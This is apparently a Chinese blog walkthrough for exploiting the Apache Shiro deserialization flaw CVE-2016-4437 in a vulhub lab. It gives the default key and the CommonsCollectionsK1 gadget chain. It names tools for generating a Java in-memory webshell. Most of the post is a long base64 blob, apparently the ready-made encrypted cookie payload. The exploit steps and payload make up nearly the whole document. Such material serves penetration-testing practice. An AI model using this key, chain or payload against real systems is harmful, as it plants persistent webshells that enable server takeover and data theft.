利用jmg快速注入内存马

admin 2023年12月11日15:35:14评论39 views字数 17784阅读59分16秒阅读模式

shiro注入内存马

这里用vulhub搭建漏洞环境

https://vulhub.org/#/environments/shiro/CVE-2016-4437/

利用jmg快速注入内存马

直接利用liqun对扫key和链

Key:kPH+bIxk5D2deZiIxcaaaA==

CommonsCollectionsK1

内存马注入

这里我们利用jmg首先生成一段base64编码


利用jmg快速注入内存马


之后利用yakit的yso插件

利用jmg快速注入内存马


将内存马字节填入进去   之后在yak代码哪里编辑生成

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 